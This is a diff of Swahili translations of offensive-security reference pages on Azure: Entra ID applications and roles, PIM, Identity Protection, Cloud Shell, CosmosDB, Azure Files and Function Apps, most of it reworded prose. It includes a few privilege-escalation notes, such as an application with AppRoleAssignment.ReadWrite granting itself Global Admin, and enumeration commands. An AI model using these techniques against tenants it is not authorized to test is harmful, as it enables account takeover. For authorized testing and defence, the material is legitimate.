@@ -792,7 +792,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Programu yenye ruhusa **`AppRoleAssignment.ReadWrite`** inaweza **kujiinua kuwa Global Admin** kwa kujipatia nafasi hiyo.\
|
||||
> Programu yenye ruhusa **`AppRoleAssignment.ReadWrite`** inaweza **kuinua hadhi kuwa Global Admin** kwa kujipatia nafasi hiyo.\
|
||||
> Kwa maelezo zaidi [**angalia hii**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
@@ -800,9 +800,9 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
> Hivyo, ukipata **nenosiri** hili unaweza kuingia kama **service principal** **ndani** ya **tenant**.\
|
||||
> Kumbuka kwamba nenosiri hili linaonekana tu wakati linapotengenezwa (unaweza kulibadilisha lakini huwezi kulipata tena).\
|
||||
> **Mmiliki** wa **programu** anaweza **kuongeza nenosiri** kwake (hivyo anaweza kujifanya kuwa yeye).\
|
||||
> Kuingia kama service principals hawa **hakuwekwa alama kama hatari** na hawatakuwa na MFA.**
|
||||
> Kuingia kama service principals hawa **hakuonyeshwi kama hatari** na hawatakuwa na MFA.**
|
||||
|
||||
Inawezekana kupata orodha ya App IDs zinazotumiwa mara kwa mara zinazomilikiwa na Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
Inawezekana kupata orodha ya App IDs zinazotumika mara kwa mara ambazo ni za Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
@@ -822,7 +822,7 @@ az identity list --output table
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Azure Roles
|
||||
### Majukumu ya Azure
|
||||
|
||||
Kwa maelezo zaidi kuhusu majukumu ya Azure angalia:
|
||||
|
||||
@@ -909,9 +909,9 @@ Headers = @{
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Majukumu
|
||||
### Entra ID Roles
|
||||
|
||||
Kwa maelezo zaidi kuhusu majukumu ya Azure angalia:
|
||||
Kwa maelezo zaidi kuhusu Azure roles angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1090,10 +1090,10 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
Privileged Identity Management (PIM) katika Azure inasaidia **kuzuia mamlaka kupita kiasi** kutolewa kwa watumiaji bila sababu.
|
||||
|
||||
Moja ya sifa kuu zinazotolewa na PIM ni kwamba inaruhusu kutokutoa majukumu kwa wakuu ambao wako hai kila wakati, bali kuwafanya **kuwa na haki kwa kipindi fulani (mfano miezi 6)**. Kisha, kila wakati mtumiaji anapotaka kuanzisha jukumu hilo, anahitaji kuomba akionyesha muda anahitaji mamlaka (mfano masaa 3). Kisha **meneja anahitaji kuidhinisha** ombi hilo.\
|
||||
Kumbuka kwamba mtumiaji pia atakuwa na uwezo wa kuomba **kupanua** muda.
|
||||
Moja ya sifa kuu zinazotolewa na PIM ni kwamba inaruhusu kutokutoa majukumu kwa wakuu ambao wako hai kila wakati, lakini kuwafanya **kuwa na haki kwa kipindi fulani (mfano miezi 6)**. Kisha, kila wakati mtumiaji anapotaka kuanzisha jukumu hilo, anahitaji kuomba akionyesha muda anahitaji mamlaka (mfano masaa 3). Kisha **meneja anahitaji kuidhinisha** ombi hilo.\
|
||||
Kumbuka kwamba mtumiaji pia ataweza kuomba **kupanua** muda.
|
||||
|
||||
Zaidi ya hayo, **PIM inatuma barua pepe** kila wakati jukumu lenye mamlaka linapopewa mtu.
|
||||
Zaidi ya hayo, **PIM inatuma barua pepe** kila wakati jukumu la kipaumbele linapopewa mtu.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -1102,10 +1102,10 @@ Wakati PIM imewezeshwa, inawezekana kuweka kila jukumu na mahitaji fulani kama:
|
||||
- Muda wa juu (masaa) wa kuanzishwa
|
||||
- Hitaji la MFA wakati wa kuanzishwa
|
||||
- Hitaji la muktadha wa uthibitishaji wa Upatikanaji wa Masharti
|
||||
- Hitaji la sababu wakati wa kuanzishwa
|
||||
- Hitaji la taarifa za tiketi wakati wa kuanzishwa
|
||||
- Hitaji la uhalalishaji wakati wa kuanzishwa
|
||||
- Hitaji la taarifa ya tiketi wakati wa kuanzishwa
|
||||
- Hitaji la idhini ili kuanzisha
|
||||
- Muda wa juu wa kuisha kwa ugawaji unaostahiki
|
||||
- Muda wa juu wa kuisha kwa majukumu yanayostahiki
|
||||
- Mengi zaidi ya usanidi kuhusu wakati na nani wa kutuma arifa wakati vitendo fulani vinapotokea na jukumu hilo
|
||||
|
||||
### Conditional Access Policies
|
||||
@@ -1118,9 +1118,9 @@ Angalia:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au kuingia ni hatari sana** kukubaliwa, ikiruhusu **kuzuia** mtumiaji au jaribio la kuingia.
|
||||
Entra Identity Protection ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au kuingia kuna hatari kubwa** ili kukubaliwa, ikiruhusu **kuzuia** mtumiaji au jaribio la kuingia.
|
||||
|
||||
Inaruhusu meneja kuiseti ili **kuzuia** majaribio wakati hatari ni "Chini na juu", "Kati na juu" au "Juu". Ingawa, kwa default imezimwa kabisa:
|
||||
Inaruhusu meneja kuiseti ili **kuzuia** majaribio wakati hatari ni "Chini na juu", "Kati na juu" au "Juu". Ingawa, kwa kawaida ime **zimwa** kabisa:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -1134,7 +1134,7 @@ Inaruhusu pia **kufungia orodha ya nywila maalum** ambayo unahitaji kutoa.
|
||||
|
||||
Inaweza **kutumika kwa kiwango cha wingu na kwenye Active Directory ya ndani**.
|
||||
|
||||
Njia ya default ni **Ukaguzi**:
|
||||
Njia ya kawaida ni **Ukaguzi**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@@ -10,11 +10,11 @@ Hakuna ruhusa zilizotolewa kwa huduma hii, kwa hivyo hakuna mbinu za kupandisha
|
||||
|
||||
### Key Features
|
||||
|
||||
**Environment**: Azure Cloud Shell inatoa mazingira salama kwa kukimbia kwenye Azure Linux, usambazaji wa Linux wa Microsoft ulioandaliwa kwa ajili ya miundombinu ya wingu. Pakiti zote zilizomo katika hifadhi ya Azure Linux zimeandaliwa ndani na Microsoft ili kulinda dhidi ya mashambulizi ya mnyororo wa usambazaji.
|
||||
**Preinstalled Tools**: Cloud Shell inajumuisha seti kamili ya zana zilizowekwa awali kama Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, na wahariri wa maandiko kama vim, nano, na emacs. Zana hizi ziko tayari kutumika. Ili kuorodhesha pakiti na moduli zilizowekwa unaweza kutumia "Get-Module -ListAvailable", "tdnf list" na "pip3 list".
|
||||
**$HOME persistence**: Unapozindua Azure Cloud Shell kwa mara ya kwanza, unaweza kuitumia na au bila akaunti ya kuhifadhi iliyounganishwa. Kuchagua kutounganisha kuhifadhi kunaunda kikao cha muda ambapo faili zinafuta wakati kikao kinamalizika. Ili kuhifadhi faili kati ya vikao, ungana na akaunti ya kuhifadhi, ambayo inajunganishwa kiotomatiki kama **$HOME\clouddrive**, huku saraka yako ya **$HOME** ikihifadhiwa kama faili **.img** katika Azure File Share. Hata hivyo, faili zilizo nje ya $HOME na hali za mashine hazihifadhiwi. Ili kuhifadhi kwa usalama siri kama funguo za SSH, tumia Azure Key Vault.
|
||||
**Azure drive (Azure:)**: PowerShell katika Azure Cloud Shell inajumuisha diski ya Azure (Azure:), ambayo inaruhusu urahisi wa kuvinjari rasilimali za Azure kama Compute, Network, na Storage kwa kutumia amri kama za mfumo wa faili. Badilisha kwenda kwenye diski ya Azure kwa cd Azure: na rudi kwenye saraka yako ya nyumbani kwa cd ~. Unaweza bado kutumia cmdlets za Azure PowerShell kusimamia rasilimali kutoka diski yoyote.
|
||||
**Custom Tool Installation**: Watumiaji wanaoanzisha Cloud Shell na akaunti ya kuhifadhi wanaweza kufunga zana za ziada ambazo hazihitaji ruhusa za mzizi. Kipengele hiki kinaruhusu uboreshaji zaidi wa mazingira ya Cloud Shell, ikiwaruhusu watumiaji kubinafsisha mipangilio yao kulingana na mahitaji yao maalum.
|
||||
**Environment**: Azure Cloud Shell inatoa mazingira salama kwa kukimbia kwenye Azure Linux, usambazaji wa Linux wa Microsoft ulioandaliwa kwa ajili ya miundombinu ya wingu. Pakiti zote zilizojumuishwa katika hifadhi ya Azure Linux zimeandaliwa kwa ndani na Microsoft ili kulinda dhidi ya mashambulizi ya mnyororo wa usambazaji.
|
||||
**Preinstalled Tools**: Cloud Shell inajumuisha seti kamili ya zana zilizowekwa awali kama vile Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, na wahariri wa maandiko kama vim, nano, na emacs. Zana hizi ziko tayari kutumika. Ili kuorodhesha pakiti na moduli zilizowekwa unaweza kutumia "Get-Module -ListAvailable", "tdnf list" na "pip3 list".
|
||||
**$HOME persistence**: Unapozindua Azure Cloud Shell kwa mara ya kwanza, unaweza kuitumia na au bila akaunti ya kuhifadhi iliyounganishwa. Kuchagua kutounganisha kuhifadhi kunaunda kikao cha muda ambapo faili zinafuta wakati kikao kinapomalizika. Ili kuhifadhi faili kati ya vikao, ungana na akaunti ya kuhifadhi, ambayo inajunganishwa kiotomatiki kama **$HOME\clouddrive**, huku saraka yako ya **$HOME** ikihifadhiwa kama faili **.img** katika Azure File Share. Hata hivyo, faili zilizo nje ya $HOME na hali za mashine hazihifadhiwi. Ili kuhifadhi kwa usalama siri kama funguo za SSH, tumia Azure Key Vault.
|
||||
**Azure drive (Azure:)**: PowerShell katika Azure Cloud Shell inajumuisha diski ya Azure (Azure:), ambayo inaruhusu urahisi wa kuvinjari rasilimali za Azure kama Compute, Network, na Storage kwa kutumia amri kama za mfumo wa faili. Badilisha kwenda diski ya Azure kwa cd Azure: na rudi kwenye saraka yako ya nyumbani kwa cd ~. Unaweza bado kutumia cmdlets za Azure PowerShell kusimamia rasilimali kutoka diski yoyote.
|
||||
**Custom Tool Installation**: Watumiaji wanaoandika Cloud Shell na akaunti ya kuhifadhi wanaweza kufunga zana za ziada ambazo hazihitaji ruhusa za mzizi. Kipengele hiki kinaruhusu uboreshaji zaidi wa mazingira ya Cloud Shell, ikiwapa watumiaji uwezo wa kubinafsisha mipangilio yao kulingana na mahitaji yao maalum.
|
||||
|
||||
## References
|
||||
|
||||
@@ -22,7 +22,6 @@ Hakuna ruhusa zilizotolewa kwa huduma hii, kwa hivyo hakuna mbinu za kupandisha
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@@ -4,22 +4,22 @@
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** ni **hifadhidata ya NoSQL, ya uhusiano, na ya vector** inayosimamiwa kikamilifu, inatoa nyakati za majibu za milisekunde moja, upanuzi wa kiotomatiki, na upatikanaji unaoungwa mkono na SLA pamoja na usalama wa kiwango cha biashara. Inaruhusu maendeleo ya programu kwa haraka kupitia usambazaji wa data wa mikoa mingi, APIs za chanzo wazi, SDKs za lugha maarufu, na vipengele vya hifadhidata vya AI kama msaada wa vector uliojumuishwa na uunganisho wa Azure AI usio na mshono.
|
||||
**Azure Cosmos DB** ni **hifadhi ya data ya NoSQL, ya uhusiano, na ya vector** inayosimamiwa kikamilifu, inatoa nyakati za majibu za milisekunde moja, upanuzi wa kiotomatiki, na upatikanaji unaoungwa mkono na SLA pamoja na usalama wa kiwango cha biashara. Inaruhusu maendeleo ya programu kwa haraka kupitia usambazaji wa data wa mikoa mingi, APIs za chanzo wazi, SDKs za lugha maarufu, na vipengele vya hifadhi ya data ya AI kama msaada wa vector uliojumuishwa na uunganisho usio na mshono wa Azure AI.
|
||||
|
||||
Azure Cosmos DB inatoa APIs nyingi za hifadhidata ili kuunda mfano wa data halisi kwa kutumia nyaraka, uhusiano, funguo-thamani, grafu, na mifano ya data ya familia ya safu, ambapo APIs hizi ni NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin na Table.
|
||||
Azure Cosmos DB inatoa APIs nyingi za hifadhi ya data ili kuunda mfano wa data halisi kwa kutumia nyaraka, uhusiano, funguo-thamani, grafu, na mifano ya data ya familia ya safu, ambapo APIs hizi ni NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin na Table.
|
||||
|
||||
Jambo muhimu kuhusu CosmosDB ni Akaunti ya Azure Cosmos. **Akaunti ya Azure Cosmos**, inafanya kazi kama lango la hifadhidata. Akaunti inamua mipangilio muhimu kama vile usambazaji wa kimataifa, viwango vya usawa, na API maalum itakayotumika, kama NoSQL. Kupitia akaunti, unaweza kuunda upya wa kimataifa ili kuhakikisha data inapatikana katika mikoa mingi kwa ufikiaji wa chini wa latency. Zaidi ya hayo, unaweza kuchagua kiwango cha usawa kinacholingana kati ya utendaji na usahihi wa data, ikiwa na chaguzi zinazotofautiana kutoka kwa Usawa Imara hadi Usawa wa Hatimaye.
|
||||
Moja ya vipengele muhimu vya CosmosDB ni Akaunti ya Azure Cosmos. **Akaunti ya Azure Cosmos**, inafanya kazi kama lango la kuingia kwenye hifadhi za data. Akaunti inamua mipangilio muhimu kama usambazaji wa kimataifa, viwango vya usawa, na API maalum itakayotumika, kama NoSQL. Kupitia akaunti, unaweza kuunda upya wa kimataifa ili kuhakikisha data inapatikana katika mikoa mingi kwa ufikiaji wa chini wa latency. Zaidi ya hayo, unaweza kuchagua kiwango cha usawa kinacholingana kati ya utendaji na usahihi wa data, huku chaguo zikisambaa kutoka kwa Usawa Mkali hadi Usawa wa Hatimaye.
|
||||
|
||||
### NoSQL (sql)
|
||||
API ya NoSQL ya Azure Cosmos DB ni API inayotegemea nyaraka inayotumia JSON kama muundo wake wa data. Inatoa sintaksia ya kuhoji inayofanana na SQL kwa kuhoji vitu vya JSON, na kuifanya iweze kutumika kwa kazi na data iliyopangwa na isiyo na mpangilio. Kituo cha huduma ni:
|
||||
API ya Azure Cosmos DB NoSQL ni API inayotegemea nyaraka inayotumia JSON kama muundo wake wa data. Inatoa sintaksia ya kuhoji inayofanana na SQL kwa kuhoji vitu vya JSON, na kuifanya iweze kutumika kwa kazi na data iliyopangwa na isiyo na mpangilio. Kituo cha huduma ni:
|
||||
```bash
|
||||
https://<Account-Name>.documents.azure.com:443/
|
||||
```
|
||||
#### Databases
|
||||
Katika akaunti, unaweza kuunda moja au zaidi ya hifadhidata, ambazo hutumikia kama makundi ya mantiki ya kontena. Hifadhidata inafanya kazi kama mpaka wa usimamizi wa rasilimali na ruhusa za mtumiaji. Hifadhidata zinaweza kushiriki kupitia uwezo wa kupangwa kati ya kontena zao au kugawa uwezo maalum kwa kontena binafsi.
|
||||
Katika akaunti, unaweza kuunda moja au zaidi ya hifadhidata, ambazo hutumikia kama makundi ya mantiki ya kontena. Hifadhidata inafanya kazi kama mpaka wa usimamizi wa rasilimali na ruhusa za mtumiaji. Hifadhidata zinaweza kushiriki kupitia kiwango kilichotolewa kati ya kontena zao au kugawa kiwango maalum kwa kontena binafsi.
|
||||
|
||||
#### Containers
|
||||
Kitengo cha msingi cha uhifadhi wa data ni kontena, ambacho kinashikilia hati za JSON na kimepangwa kiotomatiki kwa ajili ya uchunguzi wa ufanisi. Kontena zinaweza kupanuliwa kwa urahisi na kusambazwa kati ya sehemu, ambazo zinatolewa na ufunguo wa sehemu ulioelezwa na mtumiaji. Ufunguzi wa sehemu ni muhimu kwa kuhakikisha utendaji bora na usambazaji sawa wa data. Kwa mfano, kontena inaweza kuhifadhi data za wateja, huku "customerId" ikiwa kama ufunguo wa sehemu.
|
||||
Kitengo cha msingi cha uhifadhi wa data ni kontena, ambacho kinashikilia hati za JSON na kimewekwa kiotomatiki kwa ajili ya uchunguzi wa ufanisi. Kontena zinaweza kupanuliwa kwa urahisi na kusambazwa kati ya sehemu, ambazo zinatolewa na funguo za sehemu zilizofafanuliwa na mtumiaji. Funguo za sehemu ni muhimu kwa kuhakikisha utendaji bora na usambazaji sawa wa data. Kwa mfano, kontena inaweza kuhifadhi data za wateja, huku "customerId" ikiwa kama funguo ya sehemu.
|
||||
|
||||
#### Enumeration
|
||||
|
||||
@@ -110,7 +110,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
|
||||
|
||||
#### Muunganisho
|
||||
|
||||
Ili kuungana na azure-cosmosDB (pip install azure-cosmos) maktaba inahitajika. Zaidi ya hayo, mwisho wa huduma na ufunguo ni vipengele muhimu ili kufanikisha muunganisho.
|
||||
Ili kuungana, maktaba ya azure-cosmosDB (pip install azure-cosmos) inahitajika. Zaidi ya hayo, mwisho wa huduma na ufunguo ni vipengele muhimu ili kufanikisha muunganisho.
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
|
||||
@@ -149,7 +149,7 @@ print("All items in the container:")
|
||||
for item in all_items:
|
||||
print(item)
|
||||
```
|
||||
Njia nyingine ya kuanzisha muunganisho ni kutumia **DefaultAzureCredential()**. Inahitajika tu kuingia (az login) na akaunti ambayo ina ruhusa na kuitekeleza. Kwa kesi hii, lazima ifanyike ugawaji wa jukumu, ikitoa ruhusa zinazohitajika (ona kwa mor)
|
||||
Njia nyingine ya kuanzisha muunganisho ni kutumia **DefaultAzureCredential()**. Inahitajika tu kuingia (az login) na akaunti ambayo ina ruhusa na kuitekeleza. Kwa kesi hii, lazima ifanyike ugawaji wa jukumu, ikitoa ruhusa zinazohitajika (ona kwa maelezo zaidi).
|
||||
```python
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.cosmos import CosmosClient
|
||||
@@ -175,7 +175,7 @@ container.create_item(item)
|
||||
print("Document inserted.")
|
||||
```
|
||||
### MongoDB
|
||||
API ya MongoDB NoSQL ni API inayotegemea hati ambayo inatumia BSON (Binary JSON) kama muundo wake wa data. Inatoa lugha ya kuhoji yenye uwezo wa kujumlisha, na kuifanya iweze kutumika kwa kazi na data iliyopangwa, nusu iliyopangwa, na isiyo na muundo. Kituo cha huduma kwa kawaida kinafuata muundo huu:
|
||||
API ya MongoDB NoSQL ni API inayotegemea hati ambayo inatumia BSON (Binary JSON) kama muundo wake wa data. Inatoa lugha ya kuhoji yenye uwezo wa kujumlisha, na kuifanya iweze kutumika kwa kufanya kazi na data iliyopangwa, nusu iliyopangwa, na isiyo na muundo. Kituo cha huduma kwa kawaida kinafuata muundo huu:
|
||||
```bash
|
||||
mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
@@ -309,7 +309,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
## ToDo
|
||||
|
||||
* Sehemu nyingine za DB hapa, meza, cassandra, gremlin...
|
||||
* Angalia post exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" na ufafanuzi wa majukumu kwa sababu hapa kunaweza kuwa na privesc
|
||||
* Angalia post exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" na ufafanuzi wa majukumu kwa sababu hapa huenda kuna privesc
|
||||
* Angalia urejeleaji
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
|
||||
- **Transaction Optimized**: Imeboreshwa kwa shughuli zenye muamala mzito.
|
||||
- **Hot**: Imebalansiwa kati ya muamala na uhifadhi.
|
||||
- **Cool**: Ina gharama nafuu kwa uhifadhi.
|
||||
- **Cool**: Inagharimu kidogo kwa uhifadhi.
|
||||
- **Premium:** Uhifadhi wa faili wa utendaji wa juu ulioimarishwa kwa kazi zenye latency ya chini na IOPS-intensive.
|
||||
|
||||
### Backups
|
||||
@@ -23,8 +23,8 @@
|
||||
|
||||
### Supported Authentications via SMB
|
||||
|
||||
- **On-premises AD DS Authentication**: Inatumia akidi za Active Directory za ndani zilizounganishwa na Microsoft Entra ID kwa ufikiaji unaotegemea utambulisho. Inahitaji muunganisho wa mtandao kwa AD DS ya ndani.
|
||||
- **Microsoft Entra Domain Services Authentication**: Inatumia Microsoft Entra Domain Services (AD ya wingu) kutoa ufikiaji kwa kutumia akidi za Microsoft Entra.
|
||||
- **On-premises AD DS Authentication**: Inatumia akidi za Active Directory za ndani zilizounganishwa na Microsoft Entra ID kwa upatikanaji wa msingi wa utambulisho. Inahitaji muunganisho wa mtandao kwa AD DS ya ndani.
|
||||
- **Microsoft Entra Domain Services Authentication**: Inatumia Microsoft Entra Domain Services (AD ya wingu) kutoa upatikanaji kwa kutumia akidi za Microsoft Entra.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: Inawawezesha watumiaji wa Microsoft Entra kuthibitisha Azure file shares kupitia intaneti kwa kutumia Kerberos. Inasaidia mashine za virtual zilizounganishwa na Microsoft Entra au zilizounganishwa na Microsoft Entra bila kuhitaji muunganisho kwa wakala wa kikoa wa ndani. Lakini haisaidii utambulisho wa wingu pekee.
|
||||
- **AD Kerberos Authentication for Linux Clients**: Inawawezesha wateja wa Linux kutumia Kerberos kwa uthibitisho wa SMB kupitia AD DS ya ndani au Microsoft Entra Domain Services.
|
||||
|
||||
@@ -85,7 +85,7 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
|
||||
{{#endtabs }}
|
||||
|
||||
> [!NOTE]
|
||||
> Kwa kawaida `az` cli itatumia funguo ya akaunti kusaini funguo na kutekeleza kitendo. Ili kutumia ruhusa za Entra ID principal tumia vigezo `--auth-mode login --enable-file-backup-request-intent`.
|
||||
> Kwa default `az` cli itatumia funguo ya akaunti kusaini funguo na kutekeleza kitendo. Ili kutumia mamlaka ya Entra ID principal tumia vigezo `--auth-mode login --enable-file-backup-request-intent`.
|
||||
|
||||
> [!TIP]
|
||||
> Tumia param `--account-key` kuashiria funguo ya akaunti inayotumika\
|
||||
@@ -93,9 +93,9 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
|
||||
|
||||
### Connection
|
||||
|
||||
Hizi ndizo skripti zilizopendekezwa na Azure wakati wa kuandika kuunganisha File Share:
|
||||
Hizi ndizo scripts zilizopendekezwa na Azure wakati wa kuandika ili kuunganisha File Share:
|
||||
|
||||
Unahitaji kubadilisha `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` na `<FILE-SHARE-NAME>` maeneo ya nafasi.
|
||||
Unahitaji kubadilisha `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` na `<FILE-SHARE-NAME>` placeholders.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Windows"}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuruhusu kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
|
||||
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuwezesha kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka kwa huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba **Functions ni sehemu ya App Services**, kwa hivyo, nyingi ya vipengele vilivyojadiliwa hapa vitatumika pia na maombi yaliyoundwa kama Azure Apps (`webapp` katika cli).
|
||||
@@ -12,19 +12,19 @@
|
||||
### Different Plans
|
||||
|
||||
- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya kuwa bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
|
||||
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii kutekeleza kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
|
||||
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi waliotayarishwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
|
||||
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
|
||||
- **Container Apps**: Inaruhusu kutekeleza **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
|
||||
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii usambazaji wa kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
|
||||
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi walioandaliwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
|
||||
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha programu nyingi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
|
||||
- **Container Apps**: Inaruhusu kupeleka **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa programu za zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa kwenye akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
|
||||
